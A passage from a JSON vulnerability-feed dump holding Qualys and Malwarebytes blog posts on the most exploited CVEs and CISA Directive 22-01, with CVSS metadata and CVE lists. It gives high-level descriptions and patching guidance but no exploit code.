Webwork OGNL component. This vulnerability can enable an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance, potentially compromising system integrity.\n\n## TruRisk Dashboard\n\nThe Qualys VMDR helps organizations get instant visibility into high-risk and top twenty vulnerabilities.\n\n[](<https://ik.imagekit.io/qualys/wp-content/uploads/2023/09/Blog-3.jpg>)Fig 3. Qualys VMDR TruRisk Dashboard for Top 20 Vulnerabilities\n\nThe **Qualys VMDR TruRisk Dashboard** helps organizations to have complete visibility into open vulnerabilities that focus on the organization\u2019s global risk score and high-risk vulnerabilities with your organization\u2019s global risk score and high-risk vulnerabilities. Once you identify the vulnerable assets for these top twenty CVEs prioritized among your remediation owners, you can use Qualys Patch management to instantly reduce the risk.\n\nThe TruRisk VMDR Dashboard is available \u2013 [Download the Dashboard Here](<https://blog.qualys.com/wp-content/uploads/2023/09/Qualys_VMDR_TruRisk__Dashboard.zip>)\n\n## Key Insights & Takeaways\n\n * In the current Vulnerability Threat Landscape, identifying open vulnerabilities and effective remediation is the highest priority for every defender.\n * Among the vast scale of the CVEs available, you need to know the weaponized high-risk vulnerabilities that are actively targeted by Threat Actors, Malware, and ransomware families.\n * Use multi-dimensional Threat Intelligence to prioritize vulnerabilities rather than implementing multiple siloed threat approaches.\n * The Qualys VMDR with TruRisk automatically prioritizes vulnerabilities exploited in the wild with a TruRisk score of 90 or higher, greatly simplifying the prioritization process.\n\n## References\n\n * [Part 1: An In-Depth Look at the Latest Vulnerability Threat Landscape](<https://blog.qualys.com/product-tech/2023/07/11/an-in-depth-look-at-the-latest-vulnerability-threat-landscape-part-1>)\n * [Part 2: An In-Depth Look at the Latest Vulnerability Threat Landscape (Attackers\u2019 Edition)](<https://blog.qualys.com/vulnerabilities-threat-research/2023/07/18/part-2-an-in-depth-look-at-the-latest-vulnerability-threat-landscape-attackers-edition>)\n\n## Additional Contributors\n\n * **Shreya Salvi, Data Scientist, Qualys**\n * **Saeed Abbasi, Product Manager, Vulnerability Research**", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-09-04T14:00:00", "type": "qualysblog", "title": "Qualys Top 20 Most Exploited Vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-0158", "CVE-2012-0507", "CVE-2012-1723", "CVE-2013-0074", "CVE-2014-6271", "CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2017-0199", "CVE-2017-11882", "CVE-2017-8570", "CVE-2018-0802", "CVE-2018-13379", "CVE-2018-8174", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-2725", "CVE-2020-1472", "CVE-2021-26084", "CVE-2021-26855", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-44228"], "modified": "2023-09-04T14:00:00", "id": "QUALYSBLOG:6AFD8E9AB405FBE460877D857273A9AF", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-09T06:36:02", "description": "[Start your VMDR 30-day, no-cost trial today](<https://www.qualys.com/forms/vmdr/>)\n\n## Overview\n\nOn November 3, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>), "Reducing the Significant Risk of Known Exploited Vulnerabilities." [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of known exploited vulnerabilities that carry significant risk to the federal government and establishes requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires agencies to review and update agency internal vulnerability management procedures within 60 days according to this directive and remediate each vulnerability according to the timelines outlined in 'CISA's vulnerability catalog.\n\nQualys helps customers to identify and assess risk to organizations' digital infrastructure and automate remediation. Qualys' guidance for rapid response to Operational Directive is below.\n\n## Directive Scope\n\nThis directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency's behalf.\n\nHowever, CISA strongly recommends that private businesses and state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA's public catalog.\n\n## CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [291 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. The Qualys Research team has mapped all these CVEs to applicable QIDs. You can view the complete list of CVEs and the corresponding QIDs [here](<https://success.qualys.com/discussions/s/article/000006791>).\n\n### Not all vulnerabilities are created equal\n\nOur quick review of the 291 CVEs posted by CISA suggests that not all vulnerabilities hold the same priority. CISA has ordered U.S. federal enterprises to apply patches as soon as possible. The remediation guidance can be grouped into three distinct categories:\n\n#### Category 1 \u2013 Past Due\n\nRemediation of 15 CVEs (~5%) are already past due. These vulnerabilities include some of the most significant exploits in the recent past, including PrintNightmare, SigRed, ZeroLogon, and vulnerabilities in CryptoAPI, Pulse Secure, and more. Qualys Patch Management can help you remediate most of these vulnerabilities.\n\n#### Category 2 \u2013 Patch in less than two weeks\n\n100 (34%) Vulnerabilities need to be patched in the next two weeks, or by **November 17, 2022**.\n\n#### Category 3 \u2013 Patch within six months\n\nThe remaining 176 vulnerabilities (60%) must be patched within the next six months or by **May 3, 2022**.\n\n## Detect CISA's Vulnerabilities Using Qualys VMDR\n\nThe Qualys Research team has released several remote and authenticated detections (QIDs) for the vulnerabilities. Since the directive includes 291 CVEs, we recommend executing your search based on vulnerability criticality, release date, or other categories.\n\nFor example, to detect critical CVEs released in 2021:\n\n_vulnerabilities.vulnerability.criticality:CRITICAL and vulnerabilities.vulnerability.cveIds:[ `CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]_\n\n\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using the VMDR Prioritization report.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to the CISA Known Exploited Vulnerabilities and gather your status and overall management in real-time. With trending enabled for dashboard widgets, you can keep track of the status of the vulnerabilities in your environment using the ["CISA 2010-21| KNOWN EXPLOITED VULNERABILITIES"](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard:\n\n\n\n### Summary Dashboard High Level Structured by Vendor:\n\n\n\n## Remediation\n\nTo comply with this directive, federal agencies must remediate most "Category 2" vulnerabilities by **November 17, 2021**, and "Category 3" by May 3, 2021. Qualys Patch Management can help streamline the remediation of many of these vulnerabilities.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive's aggressive remediation date of November 17, 2021. Running this query will find all required patches and allow quick and efficient deployment of those missing patches to all assets directly from within the Qualys Cloud Platform.\n\ncve:[`CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]\n\n\n\nQualys patch content covers many Microsoft, Linux, and third-party applications; however, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch the remaining CVEs in this list.\n\nNote that the due date for \u201cCategory 1\u201d patches has already passed. To find missing patches in your environment for \u201cCategory 1\u201d past due CVEs, copy the following query into the Patch Management app:\n\ncve:['CVE-2021-1732\u2032,'CVE-2020-1350\u2032,'CVE-2020-1472\u2032,'CVE-2021-26855\u2032,'CVE-2021-26858\u2032,'CVE-2021-27065\u2032,'CVE-2020-0601\u2032,'CVE-2021-26857\u2032,'CVE-2021-22893\u2032,'CVE-2020-8243\u2032,'CVE-2021-22900\u2032,'CVE-2021-22894\u2032,'CVE-2020-8260\u2032,'CVE-2021-22899\u2032,'CVE-2019-11510']\n\n\n\n## Federal Enterprises and Agencies Can Act Now\n\nFor federal enterprises and agencies, it's a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>).\n\nHere are a few steps Federal enterprises can take immediately:\n\n * Run vulnerability assessments against all your assets by leveraging various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Patch Management to apply patches and other configurations changes\n * Track remediation progress through Unified Dashboards\n\n## Summary\n\nUnderstanding vulnerabilities is a critical but partial part of threat mitigation. Qualys VMDR helps customers discover, assess threats, assign risk, and remediate threats in one solution. Qualys customers rely on the accuracy of Qualys' threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any organization efficiently respond to the CISA directive.\n\n## Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-11-09T06:15:01", "type": "qualysblog", "title": "Qualys Response to CISA Alert: Binding Operational Directive 22-01", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2020-0601", "CVE-2020-1350", "CVE-2020-1472", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-1497", "CVE-2021-1498", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-1905", "CVE-2021-1906", "CVE-2021-20016", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-21972", "CVE-2021-21985", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-22502", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-22986", "CVE-2021-26084", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-28663", "CVE-2021-28664", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-30657", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666", "CVE-2021-30713", "CVE-2021-30761", "CVE-2021-30762", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40444", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42258"], "modified": "2021-11-09T06:15:01", "id": "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "malwarebytes": [{"lastseen": "2022-04-29T18:23:40", "description": "A joint Cybersecurity Advisory, coauthored by cybersecurity authorities of the United States (CISA, NSA, and FBI), Australia (ACSC), Canada (CCCS), New Zealand (NZ NCSC), and the United Kingdom (NCSC-UK) has detailed the top 15 Common Vulnerabilities and Exposures (CVEs) routinely exploited by malicious cyber actors in 2021, as well as other CVEs frequently exploited.\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). These are the CVEs that made it into the top 10.\n\n## 1\\. Log4Shell\n\n[CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>), commonly referred to as [Log4Shell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/12/log4j-zero-day-log4shell-arrives-just-in-time-to-ruin-your-weekend/>) or Logjam. This was a software flaw in the Apache Log4j logging utility. A logger is a piece of software that logs every event that happens in a computer system. The records it produces are useful for IT and security folks to trace errors or check any abnormal behavior within a system.\n\nWhen Log4Shell emerged in December 2021, what caught many by surprise was the enormous number of applications and web services, including those offered by Twitter, Apple, Google, Amazon, Steam, and Microsoft, among others, that were relying on Log4j, many of which inherited the vulnerability.\n\nThis made for an exceptionally broad attack surface. Combine that with an incredibly easy to use exploit and there should be no surprise that this vulnerability made it to the top of the list.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has launched an open source scanner to find applications that are vulnerable to the Log4j vulnerabilities listed as CVE-2021-44228 and CVE-2021-45046. The [CISA Log4j scanner](<https://github.com/cisagov/log4j-scanner>) is based on other open source tools and supports scanning lists of URLs, several fuzzing options, DNS callback, and payloads to circumvent web-application firewalls.\n\n## 2\\. CVE-2021-40539\n\n[CVE-2021-40539](<https://nvd.nist.gov/vuln/detail/CVE-2021-40539>) is a REST API authentication bypass [vulnerability in ManageEngine\u2019s single sign-on (SSO) solution](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/fbi-and-cisa-warn-of-apt-groups-exploiting-adselfservice-plus/>) with resultant remote code execution (RCE) that exists in Zoho ManageEngine ADSelfService Plus version 6113 and prior. When word of this vulnerability came out it was already clear that it was being exploited in the wild. Zoho remarked that it was noticing indications of this vulnerability being exploited. Other researchers chimed in saying the attacks had thus far been highly targeted and limited, and possibly the work of a single threat actor. It was clear from the start that [APT](<https://blog.malwarebytes.com/glossary/advanced-persistent-threat-apt/>) threat-actors were likely among those exploiting the vulnerability.\n\nThe vulnerability allows an attacker to gain unauthorized access to the product through REST API endpoints by sending a specially crafted request. This allows attackers to carry out subsequent attacks resulting in RCE.\n\nFor those that have never heard of this software, it\u2019s a self-service password management and single sign-on (SSO) solution for Active Directory (AD) and cloud apps. Which means that any attacker that is able to exploit this vulnerability immediately has access to some of the most critical parts of a corporate network. A patch for this vulnerability was made available on September 7, 2021. Users were advised to update to ADSelfService Plus build 6114. The FBI, CISA, and CGCYBER also strongly urged organizations to make sure that ADSelfService Plus was not directly accessible from the Internet.\n\nThe [ManageEngine site](<https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html>) has specific instructions on how to identify and update vulnerable installations.\n\n## 3\\. ProxyShell\n\nThird on the list are 3 vulnerabilities that we commonly grouped together and referred to as [ProxyShell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>). [CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>), [CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>), and [CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>).\n\nThe danger lies in the fact that these three vulnerabilities can be chained together to allow a remote attacker to run code on an unpatched Microsoft Exchange server. Attackers use them as follows:\n\n * **Get in** with CVE-2021-31207, a Microsoft Exchange Server security feature bypass vulnerability. The vulnerability allows a remote user to bypass the authentication process.\n * **Take control **with CVE-2021-34523, a Microsoft Exchange Server elevation of privilege (EoP) vulnerability. The vulnerability allows a user to raise their permissions.\n * **Do bad things** with CVE-2021-34473, a Microsoft Exchange Server remote code execution (RCE) vulnerability. The vulnerability allows an authenticated user to execute arbitrary code in the context of SYSTEM and write arbitrary files.\n\nThe vulnerabilities were found in Microsoft Exchange Server, which has a large userbase and which is usually set up as an Internet-facing instance. Plus, many publications have provided proof-of-concept (PoC) methodologies which anyone can copy and use.\n\nMicrosoft\u2019s Security Update from May 2021 remediates all three ProxyShell vulnerabilities.\n\n## 4\\. ProxyLogon\n\nAfter the ProxyShell entries we go straight to four vulnerabilities that are grouped under a similar name\u2014[ProxyLogon](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/proxylogon-poc-becomes-a-game-of-whack-a-mole/>)\u2014for similar reasons. [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>), [CVE-2021-2685](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>), and [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) all share the same description\u2014"This vulnerability is part of an attack chain. The initial attack requires the ability to make an untrusted connection to Exchange server port 443."\n\nWhile the CVE description is the same for the 4 CVE\u2019s we have learned that CVE-2021-26855 is a server-side request forgery (SSRF) vulnerability in Exchange that was used to steal mailbox content. The RCE vulnerability CVE-2021-26857 was used to run code under the System account. The other two zero-day flaws\u2014CVE-2021-26858 and CVE-2021-27065\u2014would allow an attacker to write a file to any part of the server.\n\nTogether these four vulnerabilities form an attack chain that only requires the attacker to find the server running Exchange, and the account from which they want to extract email. After exploiting these vulnerabilities to gain initial access, threat actors deployed web shells on the compromised servers to gain persistence and make more changes. Web shells can allow attackers to steal data and perform additional malicious actions.\n\nProxyLogon started out as a limited and targeted attack method attributed to a group called [Hafnium](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days/>). Unfortunately it went from limited and targeted attacks to a full-size panic in no time. Attackers started using the Exchange bugs to access vulnerable servers before establishing web shells to gain persistence and steal information.\n\nMicrosoft has released a one-click mitigation tool for Exchange Server deployments. The Microsoft Exchange On-Premises Mitigation Tool will help customers who do not have dedicated security or IT teams to apply these security updates. Details, a [download link](<https://aka.ms/eomt>), user instructions, and more information can be found in the [Microsoft Security Response Center](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>).\n\n## 5\\. CVE-2021-26084\n\n[CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084>) is an Object-Graph Navigation Language (OGNL) injection vulnerability that exists in some versions of [Confluence Server and Data Center](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) that can allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. This was a zero-day vulnerability that was only patched after it was found to be actively exploited in the wild. An attacker could exploit the vulnerability by simply sending a specially crafted HTTP request containing a malicious parameter to a vulnerable install.\n\nShortly after the vulnerability was disclosed and a patch came out, researchers noticed massive scanning activity for vulnerable instances and crypto-miners started to use the vulnerability to run their code on unpatched servers.\n\nOn the [Confluence Support website](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) you can find a list of affected versions, instructions to upgrade, and a workaround for those that are unable to upgrade.\n\n## Lessons learned\n\nWhat does this list tell us to look out for in 2022?\n\nWell, first off, if you haven\u2019t patched one of the above we would urgently advise you to do so. And it wouldn\u2019t hurt to continue working down the [list](<https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>) provided by CISA.\n\nSecond, you may have noticed a pattern in what made these vulnerabilities so popular to exploit:\n\n * **A large attack surface**. Popular and widely used software makes for a larger number of potential victims. The money is in the numbers.\n * **Internet-facing instances**. Remember, your Internet-connected software shares the Internet with every basement-dwelling criminal hacker in the world.\n * **Easy exploitability**. When vulnerabilities are easy to exploit, and PoCs are publicly available and easy to deploy, the number of potential threat actors goes up.\n\nSo, if you notice or hear about a vulnerability that meets these "requirements" move it to the top of your "to-patch" list.\n\nStay safe, everyone!\n\nThe post [The top 5 most routinely exploited vulnerabilities of 2021](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-29T16:28:20", "type": "malwarebytes", "title": "The top 5 most routinely exploited vulnerabilities of 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-2685", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-40539", "CVE-2021-44228", "CVE-2021-45046"], "modified": "2022-04-29T16:28:20", "id": "MALWAREBYTES:B8C767042833344389F6158273089954", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-12T00:28:46", "description": "The Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Federal Bureau of Investigation (FBI), and international partners have released a joint Cybersecurity Advisory (CSA) called the [2022 Top Routinely Exploited Vulnerabilities](<https://media.defense.gov/2023/Aug/03/2003273618/-1/-1/0/JOINT-CSA-2022-TOP-ROUTINELY-EXPLOITED-VULNERABILITIES.PDF>).\n\nWe went over the list and it felt like a bad trip down memory lane. If you adhere to the expression \"those who ignore history are doomed to repeat it\" then you may consider the list as a valuable resource that you can derive lessons from. Unfortunately as George Bernard Shaw said:\n\n> "We learn from history that we learn nothing from history."\n\nBut since that's a self-contradicting expression, let's assume there are lessons to be learned.\n\n## Last year's top vulnerabilities\n\nFirst let me show you the bad memories. The Common Vulnerabilities and Exposures (CVE) database lists publicly disclosed computer security flaws. We will use the CVE codes to uniquely identify the covered vulnerabilities.\n\n * [CVE-2021-40539](<https://vulners.com/cve/CVE-2021-40539>) is a REST API authentication bypass vulnerability in [ManageEngine's single sign-on (SSO) solution](<https://www.malwarebytes.com/blog/exploits-and-vulnerabilities/2021/09/fbi-and-cisa-warn-of-apt-groups-exploiting-adselfservice-plus/>) which results in remote code execution (RCE). When word of this vulnerability came out it was already clear that it was being exploited in the wild. Noteworthy is that this vulnerability also made it into the [top 5 routinely exploited vulnerabilities of 